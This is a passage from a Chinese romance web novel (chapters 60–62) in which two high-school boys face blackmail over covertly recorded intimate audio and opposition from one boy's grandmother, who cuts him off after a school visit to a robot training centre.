方笑贻叫他别做梦了:“你知道老梁这台机子,花了多大的功夫训练吗?别说是你,就是校长想拿去跳舞都不行。” 至于向黎代为出租的那种,虽然外形一样,但其实是平替版,从芯片到搭载程序,核心部件其实都不一样,实验室机子的那些动作,出租的都做不到。 谢恒大失所望,只好又去找备胎小马。 临放假的前一天,老梁忽然说:“明天下午吧,你们班会课请下假,赵老师已经帮忙申请好了,我带你们去训练场看看。” 第60章 到了训练场门口,方笑贻才发现不只他们。 学生零七碎八地扎着堆,明实的周牧也和程慎也在,看起来是个高中组的联合参观。 周牧也还无聊地过来挑衅了一下:“我说吧?会进一个群。” 方笑贻:“……”进一个群而已,又不是中了一百万? 不过除开这个扫兴的小点,这个训练场还是挺有看头的。 它非常大,到处都是机器人,场方还派了2个负责人,来给他们当“导游”。 “我们这个训练中心,占地有5000多平,机器人目前是108台,全尺寸的都有。应用场景呢,目前是搭建了11个,涵盖叠毛巾、骑自行车、给模特病人翻身……” 只是,这些服务型机器都不能叫“人”,因为头和腿都被拆了。 许柏龇牙说:“只有一台看着还好,这一排没头的,啧,看得有点胃疼。” “矫情什么啊,”李经略说,“这样轻,而且还能避免误触联动。” “我知道,滚。”许柏说完,又凑到了隔壁。 方笑贻跟边煦都在这里,这一格是个导航机器狗的训练区。 地上用黑色胶带贴了复杂的路线,四足机器狗要沿着线走,并避开工作人员的遥控小车。它在这里成功率极高,近乎100%,但上了复杂的路况呢?大概就跟那个智能眼镜一样了。 不过方笑贻还是一本正经地在跟边煦讨论,他说:“它在这里能贴线走,底盘上装个红外线传感器就行。” 因为黑色吸光,是明确的跟踪标志。 “但路上刷黑漆也没用啊,灰尘、垃圾、人的脚,都会造成干扰,它怎么知道自己要怎么走呢?” 边煦连猜带蒙:“用的GPS导航吧,再叠一层视觉导航。” 方笑贻说:“那要是网卡了呢?路线不就错了?” 边煦也不研究GPS这块儿,刚要摇头,训练区的遥控小哥插了个嘴:“那就再加个GPS信号记录仪,嵌到app里,信号弱,它就播报,叫用户等待信号恢复。” 方笑贻谢过了这个指教小哥,又看了下对方的app。 不过东游西逛的,大家最感兴趣的,还是格斗训练场。 走到格斗区的时候,里头有4台机器人分成2组,正在对抗,一组都是1米3的G1,另一组罕见,是两台1米7的机型。 那个高度、力量感和击中时浑厚的金属音,一下就吸引了所有人的目光。 有嘴快的喊道:“老师,这是众勤家的SA01吗?” 那个穿深蓝轻薄羽绒服的男负责人说:“是的。” 周围霎时嗡嗡作响。 “这个很贵的。” “也不对民间售卖。” “材料也贼牛笔,外壳都是航天级的铝合金。” …… 方笑贻也往前面挤,边煦看他有点来劲,纳闷道:“你对全尺寸机这么感兴趣?” “也不是,”方笑贻侧着肩膀往前面钻,“只是网上说它是个双工控机,无敌灵敏丝滑,我看看,它到底有多丝滑。” 两人挤到前面,又拿着手机搜参数,双双看完后得到结论:是比1米3的小尺寸丝滑不少,但构造复杂又坚固,拆机也要命。 负责人见大伙兴致勃勃的,等了会儿才继续介绍,委托训练的公司的需求。 “他们想组办一场像《铁甲钢拳》那种,打起来火花四溅的、身上零部件到处散落的,很热血沸腾的比……” 只是话没说完,训练区左边那台机器人就忽然中了一拳,然后滋啦抽搐一阵,倒在了地上。 人群里登时爆发出欢快的笑声。 “老师火花呢?” “零件也没起飞啊。” “哈哈,但是它好像、大概、隐约哈,在冒青烟。” 方笑贻定睛一看,还真是,只见它的肩腿关节缝里,几缕白烟正在升空。 有人担心它会爆炸,负责人十分自信,说场里有温感捕捉器,会对大于60℃的电池包发射激光。说完他又招呼大家,去G1那边尝试用场内的设备,进行格斗。 学生们有点失望,因为都想碰一下大的,但它关键时刻掉链子,大伙没办法,只好去玩小的。 第2轮,周牧也抢到了蓝方的遥控,喊话方笑贻。 结果方笑贻根本不在这块,已经跟着推故障机的滑轮架工人,跑到了走道尽头的维修间。 边煦跟着他,两人本来是来看,技工是怎么拆机的,可谁知跟到那玻璃隔间外面,却见他们却只是换了个块电池,又开了机,再拿出了两样仪器。 一个像是工业机械的手持控制器,另一个两人都不认识,白色的,长得像计算机、心电仪和收音机的集合体。 接着,一个技工开始点控制器,另一个去按那个集合体,然后没过几秒,按集合体的那个就生气了。 他把那玩意儿往工友面前一送,开始大骂:“日他爹,这姓孙的!是不是老总的大舅子啊?供的这踏马的些个仪器,比垃圾站里捡回来的还不如,怎么用?!” 他的工友脾气好些,只苦笑着说:“别抱怨了,耽误工了,人家又不挨骂。赶紧打电话,叫他带好的仪器来换。” 说完那暴躁的就开始打电话,脾气好的则要出来。方笑贻见他们不干活,也就跟边煦回格斗区了。 之后就没什么可参观的了,他们又呆了半个小时,还没出训练场,老梁忽然接到个电话。 是停车场的管理员打来的,说是他车被隔壁倒车的撞到了。老梁跑回来一看,左边大灯碎了、保险杠也变形了,他得留在这儿等交警,学生就只能坐地铁回去了。 方笑贻上后排右边拿了包,边煦在另一边勾腰,关门之前,两人还在后车厢里没理由地对笑。 可谁知关门之后,方笑贻都出了停车位,边煦却还站在车门附近。 因为有两个男的从隔壁的车里下来,一前一后,把他夹在了中间。 其中从后座出来的那个,梳背头、夹黑色皮手包,那个脸居然是……酒鬼。 边煦一开始,根本没注意对面车的人,是后面忽然冒出一声:“呵哼,真巧啊。” 他偏了下头,才看见的孙竞东。 四目一对,孙竞东轻蔑地抽了口烟,才又冷哼出声:“你小子在四海,可把我害得不轻。” 边煦看见他的派头了,坐奥迪、穿大衣,但那又怎么样? “那是你活该。”边煦没什么表情,也没多大情绪,说完转身准备走。 孙竞东却手腕一翻,低喝一声:“小张。” 前车门的男人顿时堵住了边煦的去路。 同一时间,路上,方笑贻却是一阵吃惊和迷惑。 酒鬼这架势,竟像是发达了,但因为他用夹着烟的手在指边煦。方笑贻没心思看热闹,喊着就跑了过去:“边煦!老师!” 只是他才到老梁的车头前面,一阵像是电磁被干扰的滋滋声,却忽然从酒鬼他们的车里冒了出来。 下一瞬,还有一丝诡异而渺茫的余音:“滋滋……边、煦!老……滋、师……” 方笑贻悚然一愣:这是什么鬼? 60-70 第61章 元旦佳节,到处都显得喜气洋洋,只有方笑贻焦心烂肺的。 昨晚边煦回家之后,就没有音讯了,发消息不回、打电话关机。 方笑贻半夜就意识到了,他应该是摸不到手机了。 他家里发生了什么?程辉去过吗?说了什么?盛芝兰什么反应?边煦被关起来了吗?挨打了吗?吃饭了吗…… 其实他奶奶,又舍得把他怎么样呢? 可方笑贻还是没着没落的,因为那个窃听器,他现在有点风声鹤唳。 翌日一个白天,边煦还是失联。方笑贻等到傍晚,终于坐不住了,直奔星洲湾。 这个小区的访客,如果没有在业主的账户下面录脸,就只能在保安亭打视频电话。 方笑贻按下#的时候,真有点怕无人响应,或者业主叫自己滚。 可视频一通,盛芝兰优雅的面容冒出来,面色冰冷憔悴,但还是说:“进来吧。” 方笑贻心里一阵羞愧,但还是毫不迟疑地进去了。 只是到了12幢的路口,他却没能走到B栋,因为盛芝兰等在这里,穿着一套珊瑚绒睡衣,头上顶着块羊绒围巾。 两人在如絮的雪片里对视,好一会儿都没说话。 方笑贻是没脸说,盛芝兰是不想跟他说。 不过片刻之后,她微微一抬下巴,眼底忽现倨傲和厌恶:“慢待了,但我不方便让你进门,移步咖啡厅说话吧。” 方笑贻心里暗暗一惊,头一次见她摆脸色,竟还有点压迫感。 不过这也是迟早的事,并且没有巴掌,还有咖啡喝,她的修养已经很好了。方笑贻叹了口气,又远远望了眼B栋,见2楼漆黑一片,失望地跟着她走了。 路上,他腆着脸问盛芝兰:“边煦他、没事吧?” 盛芝兰根本不看他:“没事,一根汗毛都没掉,只是两顿没吃而已。” 那说明今天还是吃了一顿的,方笑贻心里踏实下来,闭嘴了。 盛芝兰走了几步,又冷淡道:“你过来有事吗?” 方笑贻说了来意,盛芝兰对他却已经没了信任:“那你现在知道了,他挺好的,是不是也可以走了?” 方笑贻想走又不想走,但盛芝兰绝对是让他想走的那一部分,他顿住脚说:“可以。” “挺好,你是个说话算话的孩子,但还是听我把话说完了,再走吧。” 咖啡厅离她家不远,两人很快进了一个法式风的小包间。 盛芝兰根本无心喝什么咖啡,她只是嫌外面没有隐私罢了。于是一进门,咖啡都没点,她就锁了门,然后面对面坐下,省服里掏出了一个八、九寸的白色信封,冷冷地推了过来。 方笑贻抽出来一看,霎时一阵心惊和迷惑。 只见这是一沓照片,其中最上面那张,是那天在商场门口,坐在地上的边煦跟他。照片上,边煦右手大拇指卡在他嘴角上,头低垂下来,他则仰着头,一副等待亲吻的样子。 方笑贻手指一紧,本来想解释,但底下还有什么呢? 于是他强行镇定下来,飞快地梭了一遍照片。然后发现它们既有监控截频,也有偷拍的,但无一例外都在外面,全是卡的角度。 可他跟盛芝兰解释,盛芝兰的脸色不仅没缓和,怒气反而更加翻涌,再次掏出一个小黑块,用力扔在桌上说:“那这个呢?这个也是卡的角度吗!啊?!” 那是一个mp4,方笑贻伸手的时候,其实已经有预感了,里头会是些什么东西。 可真抵触万分地一摁开,那种熟悉的、缠绵的、情动的低喘和呢喃,还是让他的头皮一下麻了。 方笑贻手上一个哆嗦,按停了那段隐私,脸上青一阵红一阵,他无颜直视盛芝兰,但是心里却更悲愤。 为什么要这么对他?对边煦啊?他们只是谈个恋爱而已! 只是他的“而已”,对盛芝兰来说,却是一种美满预期的倾覆,她还眼巴巴地等着边煦结婚生子,让她抱孙子孙女,结果他们俩个,他们! 盛芝兰眼底闪过一丝残忍:“对于这些,你没什么想说的吗?” 方笑贻不知道能说什么,一开口,声音不知怎么就哑了:“我跟……我会去报警的。” 盛芝兰嘲讽地扯了下嘴角:“报了,然后呢?” 莫大的无力压上心头,方笑贻不知道是造了什么孽,他要面对的,总是一些又坏又歹毒的大人,吴建麟是,程辉也是。这些人,总让他在正常人的范畴无计可施、无路可走,他恨这些人,也痛恨自己的无能。 盛芝兰等了片刻:“你不知道是吗,那我来告诉你吧!” “窃听一般人的隐私,轻的,罚500块;重的,再加10日以下的拘留。这就是程辉会受到的惩罚。但是我呢?程辉给我寄了这个,让我把边煦那个房子借他抵押,或者是借他300万现金,不然你们两个的隐私,可以像小卡片和av一样普及。” 说着她重重吐了口气,忽然声色俱厉:“这就是你们这两个死靓仔衰仔,给我惹的烂摊子!” 换个人,方笑贻肯定要反击一句:这是程辉给你惹的。 但盛芝兰是承受代价的,他呛不出口。 盛芝兰却又步步紧逼:“你说,我是该抵押房子,还是给现金呢?” 当她退下柔婉娇俏的面具,方笑贻才忽然发现,她的骨相其实也颇为凌厉。 方笑贻窒息道:“您应该去告他敲诈。” “告不了,他是借,不是要,我也没有证据。”盛芝兰耷拉着眼皮说。 方笑贻无话可说,只能沉默,因为在他的选择里,只有让程辉狗急跳墙地去发这一项。 但盛芝兰俨然没这打算,她叹了口气说:“房子是边煦的念想,我不会动他的,我会借钱给程辉。但事因你们两个而起,你,或者是你的家人,也不应该袖手旁观,对吗?” 方笑贻沉默了好一会:“您想说什么?” “你们的事,我问过边煦了,是他有错在先,”盛芝兰一副通情达理的样子,“所以我们负主要责任,承担80%,你们家付20%,引以为戒。” 方笑贻嘴角一抽,差点没荒谬地笑出声。 他不觉得边煦有错,也不可能为程辉的威胁,付什么20%。当然,他也没有。 盛芝兰也知道他没有,并且要的就是这个,因为这样,她才好提出她的要求。 “你们分开吧,”她轻轻的、疲惫地说,“你的名声,我也会替你保全好。” 方笑贻心口针扎似的一颤,知道正题终于来了—— 分开吗?他其实早知道,他们会分开的。但它来得这么快,令他毫无防备,只感觉到了不舍和恐惧。 当天方笑贻吹了风,晚上回去就发烧了,他睡得浑浑噩噩的,被一段又一段的噩梦缠身。梦里,盛芝兰一直在喋喋不休。 她说:你放心,边煦答应了,不会再纠缠你。 你犟什么呢?你们本来就不是一路人。 你要是个姑娘,你们谈一段,我也没意见,但你们……对不起,我无法接受。 我不会要求你,但他会搬出寝室。 学校也可以不去,或者我给他换个学校借读,出国也行。 …… 方笑贻头痛欲裂,甩都甩不掉,只好乱喊:别说了,不要说了! 然后额头上沁来一片凉意,他才听见王玉华关切的声音:“怎么了?儿啊是梦,快醒来,醒醒。” 方笑贻睁开眼睛,感觉有东西在脸上爬,王玉华又在那儿抹了一下,他才反应过来,那是他的眼泪。他觉得难堪,立刻把脸埋进了被子里。 王玉华摸了摸他的头发,表情复杂而诡异,但神态还是柔和的。她不知所措地笑了下,而后故作轻松道:“你光屁股的样子我都见过,还不好意思?行了换身衣服吧,都汗透了。” 方笑贻出了大汗,但症状不见好,他一直这样,平时很少生病,一病又很凶。这次风寒叠着急性扁桃体炎,反反复复的,把他人整个都烧蔫了。 回到学校,边煦果然没有来。 方笑贻嗓子剧痛,也懒得去问理由。 刘丞丞给边煦发消息,回消息的也是盛芝兰,她说他过敏了,有点严重,请假了。刘丞丞性格单纯,也没起疑心。 方笑贻看这样子,他还是不能用手机。但盛芝兰总不至于把他的手脚绑起来吧? 方笑贻想不明白,整天趴在桌上,课也听得稀里糊涂。 刘丞丞每天晨昏定省,摸他脑门3遍,每次摸完都念:“兄弟你回家去吧,别搞出肺炎了我靠。” 方笑贻也不回,一个人教室、寝室、实验室地跑。 不管怎么样,边煦总该给他一个交代,一个面对面地交代,方笑贻在等。只是热闹过后,孤独变得比以前还难熬了。 到了周二,不知道是晚上的菜咸了还是怎么,方笑贻喉咙里冒火似的,又烧起来了。 刘丞丞看他很没劲,一摸脑门,立刻给拖到医务室打了个退烧针,又搀回寝室捂到了被子里。 方笑贻谢过了,叫他回去上课。 刘丞丞二郎腿一翘:“你以为谁都像你们卷王啊,我才不去,我要在这儿摸鱼。” 方笑贻戴上眼罩,随他去了。 等再醒来,眼罩被蹭偏了,不用拉都看得见,屋里黑着,灯不知道是关了,还是到点熄了,但是床边趴着个人,头枕在横着的右手臂上,左手…… 左手伸在被子里,握在自己的右手上。 方笑贻心里一酸,蜷起了右手指。 * “醒啦?” 边煦没睡,所以方笑贻一动,他就起了半截身,往枕头这边凑了过来。 方笑贻没吭声,也没动,卯在黑暗里看他。 但边煦知道他醒了,因为他的左眼在眼罩边缘眨动,便伸手给他把眼罩拉到了头顶,轻声说:“怎么了?不舒服?” 方笑贻烧得浑身酸痛,但看见他,还是精神了一点:“你、咳什么时候来的?” 他扁桃体化脓,失声相当严重了,边煦心疼又自责:“没多久,十来分钟。” 说着拂开他的头发,过来拿嘴唇试了下额温,试完感觉还是烫,不由偏过头,把脸贴在了那里。 那个温度凉玉一样,方笑贻舒服地眯了下眼睛。 算起来,有6天5夜了,这位音讯全无。方笑贻也不是机器人,能真的一点意见都没有。 如果有苦衷,现在正好解释,可惊慌过后,这种肌肤相贴的感觉又太美好,使得谁也没说话,就这么贴了半晌,又稀里糊涂地接起了吻。 因为相贴的地方,早不凉了。方笑贻头一仰,在他脸上蹭了蹭,本意只是想换个地方贴。 可嘴唇无意擦到边煦的下巴,那一瞬间,仿佛勾动了某种看不见的雷火。 边煦眸光一暗,顷刻辗转过来,贴住了眼底的唇瓣。 它也被高烧烧干了,有点起皮,隐约带一丝药的苦气,还抿得挺紧,拒绝自己的造访。 边煦温柔地润湿了它,又碾磨啄碰,叫他张嘴。 方笑贻心跳立刻乱了,他就是喜欢,才会这么错乱,因此也抵抗不了这种撩拨。 但他还是稍微撇开了脸,说:“感冒呢,起……” “感冒个屁。”边煦不屑,追过去狠狠堵住了他的嘴。 一别数天,那些思念和忧虑寄托在唇齿之间,令这次纠缠比以前都用力。 方笑贻鼻子不通,喘得不像样。 边煦亲会儿就放开,等他调整呼吸,期间还干了挺多事,开灯、爬上床、隔着被子搂人,最后又钻进了被子里。 好半晌,方笑贻终于缺氧了,才头昏脑涨道:“你这是出狱了?还是逃出来的?” 边煦说:“我溜出来的。” 方笑贻看他这个鬼鬼祟祟的样子,也不意外,只说:“之前怎么溜不出来?” “因为我奶奶今天傍晚,才到外地去。” 怪不得,方笑贻又问他:“你一会就得回去了吧?” 边煦“嗯”了声,他不能让邓嬢太提心吊胆,还得回去篡改下录像。 方笑贻闭了下眼睛说:“不晓得你在搞什么。” 边煦亲了下他的眼皮:“我跟你说。” 他那晚一回客厅,程辉的东西就在茶几上了。 盛芝兰端坐在沙发上流……鼻血,她一生气就会这样,而这次流得稀里哗啦,她还不止,说死了算了。 边煦知道这是气话,但也不敢触她的逆鳞。她叫他去请边玉山的遗像,他就去请。叫他下跪,他就跪。叫他断掉,他才说不行。 盛芝兰气红眼了,鸡毛掸子不小心抽到了他的头。不过没什么大碍,只肿了一个包。 之后盛芝兰就不动手了,开始唐僧念经:说她的期望、说他只是新奇,还说边扬和于静涵婚姻的失败,主要原因就是家境差距太大……她甚至还找了两个心理咨询师,一个男的一个女的,上门给他做催眠。 挺可笑的,但也没什么用。 于是,盛芝兰把他关了起来,没收了一切电子产品。律师过来会面,他就在旁边看,看自己惹的破事,别人得如何替他收场。 不过这些,他也没跟方笑贻说全,没必要,平白惹他伤心。 边煦说:“我也不是跑不出来,或者找不到机会联系你。” 他从2楼的阳台,吊着床单下去过。也说服过邓嬢,给隔壁邻居的露台扔过纸团,叫对方帮忙发消息。 但盛芝兰叫李叔在暗处盯着他,只需一句:“你是想让我现在就请方笑贻的母亲,过来商讨赔偿的事宜吗?” 边煦人就老实了,他咬住后槽牙,脸上闪过一丝挫败:“只是在事情妥善落地之前,我越找你,你就会越倒霉。” 方笑贻问了,确实是盛芝兰给他提了条件,他听话在家待着,这件事,对自己的影响,就绝不会比他更严重。 边煦也得知他去找过自己,被劝分了一场,心里针扎似的难受。可他还是捧着方笑贻的脸,贪婪地说:“你怎么回她的?” 方笑贻感觉自己答得也不怎么样,沉默半晌道:“我说看你,你要是同意,我……” 他当时说的是:他也答应。 可当着边煦,那双期待着什么似的眼睛,方笑贻忽然撇开视线,说不下去了。 因为巨大的差距,他对自己的感情不坚定。 边煦却忽然说:“我不同意,什么不纠缠,我没说过这种话。但你听不到,当时心里很难受吧?” 方笑贻心里倏地也软了,谁不难受呢?但他迟疑了下,还是“嗯”了一声。 如果只是一般的难受,他就不说了。再说,难受也是在乎的一种形式,边煦有权知道实况。 边煦闻言,心里也难受起来:“对不起。” 是他连累了方笑贻,他没能力解决问题,受制于长辈,叫方笑贻也跟着受委屈。 方笑贻知道错不在他,但只是风波扫在他们身上,自己也吃不消,他问边煦:“程辉那个事,你们是打算怎么处理的?” 盛芝兰那个说辞,方笑贻回家之后在想,其实还是挺违和的。有钱人的办法,绝对绝对应该比自己能想象的要多,因为可以花钱,聘请很多专业而聪明的大脑。 果然,边煦说:“他这边你不用担心,我奶奶已经找到了他原来参与p2p平台时的财务总监。” “这人已经出国了,但按照他当时操作的金额,留在国内是要进去蹲8年的。程辉虽然只合伙了一个小股,但名义上是他的老板之一,证据够了,也不会低于8年。他不敢轻举妄动的。” 方笑贻松了口气,也看懂了,程辉根本不是盛芝兰的对手。 那自己呢? 边煦这么犟,盛芝兰舍不得修理他,对自己却没这个顾虑。届时他又该拿什么,跟盛芝兰叫板呢? 第62章 等到星期六上午,盛芝兰果然到四海来了。 不过她来的时候,方笑贻不在家,他昨晚接到一个意料之外的陌生电话,今天出门去了。 电话对面是谢元朗,他上来就是一句:“我是谢元朗,别挂,我有兼职找你。” 正好入冬之后,向黎那边也没什么活了,方笑贻也不是图赚钱,只是忽然之间,清净过头了,兼职没有,边煦的消息也少。 那晚回去的时候,他带走了方笑贻的备用机,但也只能偷偷摸摸地用。 方笑贻空着就忍不住瞎想,宁愿没事找事。 他去了谢元朗发的位置,是一个娱乐城的负一楼,里头搭着涂鸦风格很强的擂台,上头正在比赛。 不过机型还是老式的扫地款,赢一场给一场的钱。 现在老板想换成人形的,谢元朗为此而来,他想找方笑贻当操作手,还说:“要是边煦能给你搭算法,那再好不过了。” 方笑贻愣了下,回了句:“我回去想想。” 只是他一回家,先被王玉华拉进了他的房间。 她欲言又止道:“你跟那个小边,边煦,你们什么情况?我是你妈妈,我有权知道吧?” 方笑贻脸色一变,才知道盛芝兰来过。 这个事迟早会暴露,他做好心理准备了,只是王玉华的反应也让他很错愕。 她叹着气说:“其实我是有感觉的。” 有一阵子,他整个抱个手机傻乐,王玉华苦笑:“我跟你姐,都知道你不是在耍朋友,就是在耍的路上。只是那会儿我们都以为,你是跟杨妙那个丫头在谈。” 杨妙自从到市场里兼职,跟方雪晴慢慢混熟了。契机是中介说她穿衣服太土,容易被轻视,她给方笑贻打电话,他叫方雪晴带她买过一回衣服。之后,她就没少往店里跑。 “但是那天你发烧,还抱个手机不放,我……”王玉华眼神闪烁了一下,“我就用你指纹解了锁,看了下你的聊天记录。” 他跟杨妙,十天半月都没两句话,只跟那个边煦,聊得密密麻麻。 太亲密露骨的话倒也没有,只是从周五约到周天,最下面的消息也都是方笑贻发的,问边煦为什么不回消息,俨然出去那趟,也是去找他了。 王玉华一脑门乱麻,但看他病得东倒西歪,自己也想再观察观察,就没吭声。 结果边煦的奶奶先来了。 她倒也没摆出那种,“这是300万,离开我孙子”的偶像剧派头,只说他们不合适,边煦没两年就出国了,以后也会找个女孩结婚生子,方笑贻也该这样。她们做家长的,有责任匡扶孩子走正确的道路。 至于窃听的事,盛芝兰暂时也没提,因为这是她逼边煦听话的筹码。 他们只要还是同班,甚至同校,有的是机会阳奉阴违,盛芝兰要做绝一点,把他们从空间上隔离。 于是新的一周伊始,边煦还是没回一中。 他奶奶从程辉那儿得到了灵感,她去找方笑贻的妈妈谈话时,用GO3的可拆摄像头录了像。她把那个东西,磁吸在手提包的金属扣上,录vlog一样进了方笑贻的家。 边煦从录像里,看到王玉华知情后的,那个强忍难堪又如坐针毡的模样,心里真是跟吞了苍蝇一样膈应。 她可以去说,只是这样胁迫自己,就未免令人心寒。 很好,现在方笑贻也不得安宁了。然后他这一星期的伏低做小,也不过是一个笑话。 边煦可以不要脸,但他手里,没有钱—— 于是他照着盛芝兰的安排,去了六中的国际部插班,哪怕这时离期末考试,也就不到3个星期。这里哪里都不好,唯有一点,东西死贵。 盛芝兰原本以为,两个孩子罢了,又能有多深刻的感情?分开一阵子,认识新的人,劲头自然也就退了。 边煦的表现也可圈可点,他在国际部选了寄宿,周内不回来,周末不出门。回一中考试那天,考完没十分钟也出来回家了。那个格斗大赛的二轮,他也没去。 放了假,盛芝兰各种试探他,说去海市过冬,让他继续留在六中借读,他也说随你的便。 盛芝兰本来已经差不多信了,他已经放下了,要是寒假倒数第二天,她没有接那个视频电话的话。 那天是正月十六,唐悦跑来找边煦,叫他陪着去宝光寺领福米。唐悦的奶奶信这个寺庙,福米那是一次不落,盛芝兰也没起疑。 只是到了下午3点多,她大学时的室友忽然给她打视频,说在惠安寺碰到了另一个室友,太巧了,就想起她了。 两人都在对面跟她打招呼,盛芝兰本来挺高兴的,直到她同学走动的摄像头,照到了一个水边的亭子。 那亭子里人不少,但她一眼就瞥到了角上那两个年轻的。 一个穿黑羽绒服的,端着个一次性碗,还捏着根叉着牙签的小吃;另一个穿月光灰长羽绒服的搭着他的肩膀,正在往他的手边凑。 两人的脸都侧对着镜头,离得也不近,但盛芝兰还是眼前一黑:她的孩子和她给买的衣服,她这么一瞥也不会认错。 只是他们,这是在干什么? 为什么还在一起?还勾肩搭背、眉开眼笑的,那像是分开的样子吗? 盛芝兰一阵天旋地转:边煦这个小兔崽子,在骗她! 一整个寒假,这是方笑贻第二次见边煦。 上次还是在除夕前一天,边煦在四海闪现了一下。方笑贻接到电话跑出来,直接被他接着抱住,从地上提了起来。 两人急不可耐地躲起来接吻的德行,实在很不值钱,但见一面太不容易,他们现在就像一对地下党,靠着一部盛芝兰不知道的手机,和一点真心和反骨在维系。 边煦陆续往方笑贻手机上转了2万块钱,他本来打算攒够3万,够一年半载的生活费了,他就回到一中去的。 只是钱还差一点,这天他跟方笑贻从寺庙出来,却先看见了盛芝兰。 她站在出口处左边的墙沿边,穿毛呢大衣、戴法式小盆帽,优雅得令人侧目。 只有方笑贻看到的不是优雅,而是麻烦。 “你们两个,跟我过来。”她淡淡地丢下一句,转身去了停车场。 留下方笑贻跟边煦在出口面面相觑,方笑贻是感觉她这个状态不够生气,透着一点点不对劲。边煦则在想,她是怎么找过来的? 很快盛芝兰支走李叔,自己上了副驾,两人只好爬上后座。 车窗全封着,一时谁也不说话,只有视线在顶部的后视镜里交接,气氛压抑又诡异。 好半晌,盛芝兰才深深地吸了口气,沉声道:“边煦,你一直在骗我吗?” 边煦撇开目光,看着窗外说:“没有,我没说过要跟他分开。” 他都是说考虑考虑,或者沉默。 只是盛芝兰记不得了,在她的记忆里,他是说过的。 怒气在她脑中翻搅,盛芝兰瞪了他一眼,又去看方笑贻:“你呢,你也跟他分不开,是吗?” 只是不想分开,至少现在是这样。但说什么好像都是挑衅,方笑贻就只点了下头。 盛芝兰立刻嗤笑一声,把他们放在一起看了看,越看越心寒,她说:“你们是真爱啊,我呢,也像那个棒打鸳鸯的恶婆婆。” 边煦无语了:“奶奶,你说什么呢?” 盛芝兰目光斜向边煦,忽然犀利起来:“阳阳,你别以为我在跟你开玩笑。人不是那么容易看开的,尤其我年纪还这么大了。但我呢,也把你没什么办法了,我狠不下那个心,把你送到训诫中心去。所以我也想过了,你非要跟他在一起,也可以,但是你们分开之前,你不要回家了。” 这是在让边煦二选一,方笑贻眼睛一眯,自己不用选,都感觉到了为难。 边煦心里更是一痛,又觉得愤怒,他问盛芝兰:“非要这么极端吗?” 盛芝兰摇了下头,嘴上说:“你就当我是在气头上吧,这也是我给你们这个真爱的,一个小小的考验。” 心里想的却是:在学校里谈恋爱,真爱当然多了,钱不用操心,家长在后面包。 她现在不管了,学费、生活费一概没有,他就去谈吧,这个衣食住行都成问题的恋爱,还是不是那么的美好和甜蜜? 这天傍晚,边煦提着个购物纸袋,离开了星洲湾。 方笑贻等在小区外面,把他带回了家。 * 不过这天夜里,边煦没在方笑贻家里过夜。 王玉华不自在的微表情,和非要张罗着换房间的举动,让他忽然意识到:自己跟方笑贻睡一张床,大概让她非常尴尬。 只是看在方笑贻的份上,她才委婉地说:“你们俩这么大个子,那个小床咋挤得下?这样,笑儿,你跟你姐换个屋,她那边正好是两张床。” 方笑贻却也没get到她的点:“妈你别折腾了,明天过完就开学了。” 再说他书桌在房里,两边蹿也不方便。 王玉华张了下嘴,还想说什么。 边煦打小没缺过房子住,头一回碰到屋主介意他留宿的情况,心理有点敏感,立刻接了句:“阿姨,您别忙了,我在外头定了酒店的,他跟你开玩笑的。” 王玉华感觉他看出来了,目光也有点讪讪的。 边煦一订就是个全季,两晚,小六百没了。 方笑贻原以为他们祖孙俩置气,一个星期应该也消了,也没管他。 可谁知开了一周学,这两人谁也没理谁,可矛盾却越结越深了。 起先是六中借读的学费,盛芝兰没给边煦交,也没通知他只言片语。 边煦接到借读班老师的电话,才跑去办借读结束证明。这趟没有校领导作陪,借读老师又嫌他给自己添了麻烦,他受了一肚子气,几个章盖到天黑才回来。 再回到一中,边煦心照不宣,就更不可能去找盛芝兰要学费了,他叫方笑贻往他校卡上转了2000块钱,划扣走了1600的学费,剩下的老老实实上大食堂吃饭。 等到周五,他回了趟老宅,看到李叔站在门口,抓耳挠腮地叹气:“阳阳,你、你就跟你奶奶认个错吧。” 边煦气性更大,掉头就走了,只是眼眶翻红。 方笑贻看在眼里,也是心如刀绞,不过他开不了那个让边煦回去的口。 盛芝兰的狠绝,让她的提议,变得更加没有两全的余地了。而边煦是个人,不是一条狗,因此越发叛逆。 离开老宅之后,两人去烂尾楼待了会儿。 边煦才伤了心,莫名在这里找到了一点归宿感,躺在刚擦过的床板上说:“我要不就住这儿吧?反正除了水电,其他的都有,还不要钱。” 他就是随口一说,方笑贻却有种被扇了一耳光的狼狈感:如果边煦跟他在一起的结果,就是沦落到住烂尾楼,那他……宁愿让边煦回家去。 “不行,”方笑贻没得商量道,“这里不安全,明天我们去租个房子。” 当夜,边煦在他房间凑合了一晚,怕王玉华多想,把椅子搬出去,打的地铺。 晚上,唐悦打了个视频过来,看边煦不在自己家,才知道他被赶出了家门,登时也傻了,咧着嘴,连八卦都是凌乱的意味。 “此处是不是应该有一首LoveStory?”他说着就开始嗨歌,“And my daddy said stay a……(我爸气急败坏地说离……)” 他唱歌其实真挺好听,只是这歌词应景得扎心,边煦立刻说:“滚。” 唐悦才没唱了,把他骂了一顿,说他有事瞒着兄弟,骂完又问:“那你这是?就硬刚到底啦?” 边煦没吭声,但脸上分明写着是。 唐悦其实有点想劝他,初恋很难长久的,家人才是一辈子的。唐悦自己的爸妈,当年据说也是两情相悦、爱到私奔,最后也不耽误他爸找了5个小三。 只是方笑贻人在镜头的角落里,这话当着他没法说,唐悦只好和稀泥:“不是,咱可以灵活一点嘛,嘴应心不应。” 现在就是用这招的结果,边煦讽刺地笑了下:“她不会信了再说,她怎么不灵活呢?” 唐悦给他堵得没话说,只好给他转了5000块钱。 边煦收了,又从床上翻下来,搂着方笑贻装死。 无家可归,方笑贻知道他不好受,翻成对面,也把他搂紧了。 快10点的时候,于静涵打来一个电话,边煦接了下,听见她在对面抽泣,嘶哑地说:“你们一个个的,到底想干什么呀?” 跟着就是一阵磅礴的抱怨,程辉、他,甚至边扬。 边煦没心情给她当垃圾桶,把电话挂了:“早点睡吧。” 他想要的很多吗?不就是一个喜欢谁的自由吗? 次日一早,两人起来写了会儿作业,等到商铺都开门了,出门跑起了房子。 两人从白天跑到晚上,方笑贻已经够挑了,离网吧近的、挨着小旅馆的不要、楼上是老头老太太的……通通不要。 只是边煦一住进去,还是被不知道哪儿来的臭虫,咬了一后背的包,再被他一挠,隆起来的红斑和血痕,像是被打了20大板。 方笑贻吓了一大跳,也没见过被虫子咬成这样的,拉着他就往诊所跑。 边煦倒是挺淡定:“不用,弄点无比滴涂一下就好了。” “我哪有什么无比滴?”方笑贻也不信他,这货的生活经验比自己差远了。 